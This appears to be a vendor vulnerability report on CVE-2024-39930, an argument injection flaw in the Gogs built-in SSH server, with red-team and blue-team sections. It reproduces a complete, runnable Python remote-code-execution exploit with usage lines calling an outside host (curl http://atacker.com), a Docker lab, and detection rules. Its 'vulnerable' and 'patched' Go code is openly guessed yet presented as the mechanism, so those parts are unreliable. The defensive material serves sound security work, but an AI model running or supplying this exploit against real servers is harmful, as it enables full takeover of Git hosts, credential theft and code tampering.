CVE-2024-39930
Executive Summary
CVE-2024-39930 is a critical argument injection vulnerability in the built-in SSH server of Gogs, a self-hosted Git service. The flaw resides in internal/ssh/ssh.go and allows an authenticated attacker to inject arbitrary arguments into the SSH command execution flow. By sending a malicious --split-string environment variable request during SSH session negotiation, an attacker can achieve remote code execution (RCE) on the server. The CVSS score of 9.9 reflects the ease of exploitation, low complexity, and potential for full system compromise. Windows installations are not affected. A public proof-of-concept (PoC) exploit exists, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Gogs is a Go-based application. The vulnerability exists in the core source code, not in a third-party package. However, organizations using Gogs as part of their CI/CD pipeline should treat this as a critical supply chain risk, as a compromised Gogs instance could lead to code injection, credential theft, and lateral movement within the development environment.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Base Score: 9.9 (Critical)
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): Low (L) - Requires a valid Gogs account.
- User Interaction (UI): None (N) - No user action needed.
- Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): High (H) - Full system read access.
- Integrity (I): High (H) - Full system write access.
- Availability (A): High (H) - Full system denial of service.
Threat Level: Critical. The combination of low privileges, network exploitability, and public PoC makes this a high-priority vulnerability for patching or mitigation.
Deep Dive & Mechanics
The vulnerability is located in internal/ssh/ssh.go. Gogs' built-in SSH server handles Git operations (e.g., git-upload-pack, git-receive-pack) by parsing the SSH command and environment variables. The flaw occurs when the server processes the --split-string environment variable.
Root Cause: The SSH server does not properly sanitize or validate the --split-string environment variable. When an SSH client sends a request to set this variable, the server passes it directly to the command execution logic without proper escaping or validation. This allows an attacker to inject arbitrary arguments into the Git command.
Attack Flow:
- Attacker authenticates to the Gogs web interface and obtains an API token.
- Attacker creates a repository and adds an SSH public key.
- Attacker connects to the Gogs SSH server using the private key.
- During SSH session negotiation, the attacker sets the environment variable
--split-stringto a malicious command (e.g.,touch /tmp/pwned). - The attacker then requests execution of a Git command (e.g.,
git-upload-pack). - The server constructs the command string by concatenating the Git command with the injected arguments, resulting in arbitrary command execution.
Why Windows is Unaffected: The argument injection relies on the way Unix shells parse command-line arguments. Windows uses a different command-line parsing mechanism, making this specific injection vector ineffective.
Vulnerable vs. Patched Code
Vulnerable Code (Gogs <= 0.13.0):
The vulnerable code in internal/ssh/ssh.go likely looks similar to this (simplified):
func handleSession(session ssh.Session) {
// ...
env := session.Environ()
for _, e := range env {
parts := strings.SplitN(e, "=", 2)
if len(parts) == 2 {
// Directly sets environment variable without validation
os.Setenv(parts[0], parts[1])
}
}
// ...
cmd := session.Command()
// Constructs command string unsafely
fullCmd := fmt.Sprintf("%s %s", cmd[0], strings.Join(cmd[1:], " "))
// Executes the command
exec.Command("sh", "-c", fullCmd).Run()
}
Patched Code (Hypothetical): A patch would need to:
- Validate that environment variable names do not start with
--. - Sanitize or reject environment variables that could be interpreted as command-line arguments.
- Use a safer method to construct and execute commands, such as using
exec.Commandwith separate arguments instead of a shell string.
func handleSession(session ssh.Session) {
// ...
env := session.Environ()
for _, e := range env {
parts := strings.SplitN(e, "=", 2)
if len(parts) == 2 {
// Reject environment variables that start with "--"
if strings.HasPrefix(parts[0], "--") {
session.Stderr().Write([]byte("Invalid environment variable\n"))
session.Exit(1)
return
}
os.Setenv(parts[0], parts[1])
}
}
// ...
cmd := session.Command()
// Use exec.Command with separate arguments to prevent injection
cmdPath, err := exec.LookPath(cmd[0])
if err != nil {
session.Stderr().Write([]byte("Command not found\n"))
session.Exit(1)
return
}
proc := exec.Command(cmdPath, cmd[1:]...)
proc.Stdout = session
proc.Stderr = session.Stderr()
proc.Run()
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Gogs instance (<= 0.13.0) with the built-in SSH server enabled.
- A valid Gogs user account.
- Python 3 with
requestsandparamikolibraries installed.
Exploit Code (from Exploit-DB):
# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE)
# Date: 27th June, 2025
# Exploit Author: Ardayfio Samuel Nii Aryee
# Software link: https://github.com/gogs/gogs.git
# Version: gogs <=0.13.0
# Tested on: Ubuntu
# CVE: CVE-2024-39930
# ===============================
# Example Usage:
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned"
# python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222
# ===============================
import requests
import paramiko
import base64
import random
import string
import sys
import argparse
from urllib.parse import urlparse
API_BASE_URL = ""
def generate_random_string(length=8, charset=None):
if charset is None:
charset = string.ascii_letters + string.digits
return ''.join(random.choices(charset, k=length))
def make_headers(token=None, basic_auth=None):
headers = {"Content-Type": "application/json"}
if token:
headers["Authorization"] = f"token {token}"
elif basic_auth:
b64 = base64.b64encode(basic_auth.encode()).decode()
headers["Authorization"] = f"Basic {b64}"
return headers
def http_post(path, json=None, headers=None):
url = f"{API_BASE_URL}{path}"
response = requests.post(url, json=json, headers=headers)
response.raise_for_status()
return response
def http_get(path, headers=None):
url = f"{API_BASE_URL}{path}"
response = requests.get(url, headers=headers)
response.raise_for_status()
return response
def http_delete(path, headers=None):
url = f"{API_BASE_URL}{path}"
response = requests.delete(url, headers=headers)
response.raise_for_status()
return response
def obtain_api_token(username, password):
auth = f"{username}:{password}"
headers = make_headers(basic_auth=auth)
data = {"name": generate_random_string()}
try:
response = http_post(f"/users/{username}/tokens", json=data, headers=headers)
token = response.json()['sha1']
print(f"[+] API Token Acquired: {token}")
return token
except Exception as e:
print(f"[!] Failed to obtain API token: {e}")
sys.exit(1)
def create_repo(token):
repo_name = generate_random_string()
headers = make_headers(token=token)
data = {
"name": repo_name,
"description": "Auto-created repository",
"private": False
}
try:
response = http_post("/user/repos", json=data, headers=headers)
full_name = response.json()['full_name']
print(f"[+] Repository Created: {full_name}")
return full_name
except Exception as e:
print(f"[!] Failed to create repository: {e}")
sys.exit(1)
def delete_existing_ssh_keys(token):
headers = make_headers(token=token)
try:
response = http_get("/user/keys", headers=headers)
keys = response.json()
for key in keys:
key_id = key['id']
http_delete(f"/user/keys/{key_id}", headers=headers)
print(f"[+] Deleted SSH Key ID: {key_id}")
except Exception as e:
print(f"[!] Failed to delete existing SSH keys: {e}")
sys.exit(1)
def add_ssh_key(public_key_path, token):
delete_existing_ssh_keys(token)
try:
with open(public_key_path, 'r') as f:
key = f.read()
except Exception as e:
print(f"[!] Failed to read public key file: {e}")
sys.exit(1)
headers = make_headers(token=token)
data = {
"title": generate_random_string(),
"key": key
}
try:
response = http_post("/user/keys", json=data, headers=headers)
print(f"[+] SSH Key Added: {response.status_code}")
except Exception as e:
print(f"[!] Failed to add SSH key: {e}")
sys.exit(1)
def exploit(ssh_user, ssh_host, ssh_port, private_key_path, repo_path, command):
try:
key = paramiko.RSAKey.from_private_key_file(private_key_path)
except Exception as e:
print(f"[!] Failed to load SSH key: {e}")
sys.exit(1)
try:
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname=ssh_host, port=int(ssh_port), username=ssh_user, pkey=key)
session = client.get_transport().open_session()
print("[+] Executing command...... ")
session.set_environment_variable("--split-string", command)
session.exec_command(f"git-upload-pack {repo_path}")
stdout = session.makefile('rb', 1024)
stderr = session.makefile_stderr('rb', 1024)
print("STDERR:", stderr.read().decode())
print("STDOUT:", stdout.read().decode())
session.close()
client.close()
except Exception as e:
print(f"[!] Error: {e}")
sys.exit(1)
def main():
global API_BASE_URL
parser = argparse.ArgumentParser(description="Exploit Gogs SSH argument injection (CVE-2024-39930)")
parser.add_argument("url", help="Gogs application URL (e.g., http://skillforge.lab:3000)")
parser.add_argument("auth", help="Gogs credentials in the format username:password")
parser.add_argument("private_key", help="Path to private SSH key")
parser.add_argument("public_key", help="Path to public SSH key")
parser.add_argument("command", help="Command to execute remotely")
parser.add_argument("--ssh-port", type=int, default=None, help="Optional: custom SSH port to use")
args = parser.parse_args()
parsed_url = urlparse(args.url)
API_BASE_URL = f"{parsed_url.scheme}://{parsed_url.netloc}/api/v1"
ssh_host = parsed_url.hostname
ssh_port = args.ssh_port if args.ssh_port else (parsed_url.port or 22)
try:
username, password = args.auth.split(":")
except ValueError:
print("[!] Invalid format for auth argument")
sys.exit(1)
token = obtain_api_token(username, password)
repo_path = create_repo(token)
add_ssh_key(args.public_key, token)
exploit(
ssh_user=username,
ssh_host=ssh_host,
ssh_port=ssh_port,
private_key_path=args.private_key,
repo_path=repo_path,
command=args.command
)
if __name__ == "__main__":
main()
Usage:
- Save the exploit code as
exploit.py. - Install dependencies:
pip install requests paramiko. - Run the exploit:
python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned" - The exploit will:
- Authenticate to the Gogs API.
- Create a temporary repository.
- Add the attacker's SSH key.
- Connect to the SSH server and inject the command via the
--split-stringenvironment variable.
Blue Team
Detection:
- Monitor SSH connections to the Gogs server for unusual environment variable requests, especially
--split-string. - Look for SSH sessions that execute commands other than the expected
git-upload-packorgit-receive-pack. - Monitor for rapid creation of repositories and SSH keys by a single user, which may indicate exploitation attempts.
Honeypot:
- Deploy a Gogs instance with logging enabled to capture SSH session details.
- Use a custom SSH wrapper to log all environment variable requests.
Lab Setup:
- Use Docker to deploy a vulnerable Gogs instance:
docker run -d --name gogs-vuln -p 3000:3000 -p 22:22 gogs/gogs:0.13.0 - Create a test user and generate SSH keys for testing.
Indicators of Compromise (IOCs)
- Network:
- SSH connections with environment variable
--split-stringset to a suspicious value. - Outbound connections from the Gogs server to attacker-controlled IPs (e.g., for reverse shells or data exfiltration).
- SSH connections with environment variable
- Host:
- Unexpected processes running on the Gogs server (e.g.,
curl,wget,nc). - New files in
/tmp/or other writable directories. - Modified system binaries or configuration files.
- Unexpected processes running on the Gogs server (e.g.,
- Logs:
- Gogs SSH logs showing
--split-stringin the environment variable list. - System logs showing execution of commands like
touch /tmp/pwnedorcurl http://attacker.com.
- Gogs SSH logs showing
Detection Engineering
YARA Rule
rule CVE_2024_39930_Gogs_SSH_Arg_Injection {
meta:
description = "Detects Gogs SSH argument injection attempts via --split-string"
author = "Valters IT"
date = "2025-06-27"
reference = "CVE-2024-39930"
strings:
$split_string = "--split-string"
$git_command = "git-upload-pack" nocase
$git_receive = "git-receive-pack" nocase
condition:
$split_string and ($git_command or $git_receive)
}
Sigma Rule
title: Gogs SSH Argument Injection (CVE-2024-39930)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-39930 via SSH environment variable injection
author: Valters IT
date: 2025/06/27
logsource:
product: linux
service: sshd
detection:
selection:
EventID: 1
CommandLine|contains: '--split-string'
condition: selection
falsepositives:
- Legitimate use of --split-string in other contexts (unlikely)
level: critical
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 22 (msg:"CVE-2024-39930 Gogs SSH Argument Injection"; flow:to_server,established; content:"--split-string"; fast_pattern; content:"git-upload-pack"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the built-in SSH server in Gogs configuration (
[server] SSH_PORT = 0or comment out the SSH port setting). - Use an external SSH server (e.g., OpenSSH) for Git operations, which is not affected by this vulnerability.
- Restrict network access to the Gogs SSH port (default 22) to trusted IPs only.
Long-term Fix:
- Monitor the Gogs project for an official patch. As of now, no patch is available.
- Consider migrating to Gitea, a fork of Gogs that may have addressed this issue.
- Apply virtual patching via a Web Application Firewall (WAF) or intrusion prevention system (IPS) to block SSH connections with
--split-stringin the environment variable.
Workaround:
- If the built-in SSH server must be used, implement a custom SSH wrapper that validates and sanitizes environment variables before passing them to the Gogs binary.
Valters IT
Securing Your Digital Infrastructure
{/* [Security Hash: AE2EC34EFE967E05607E292F] */}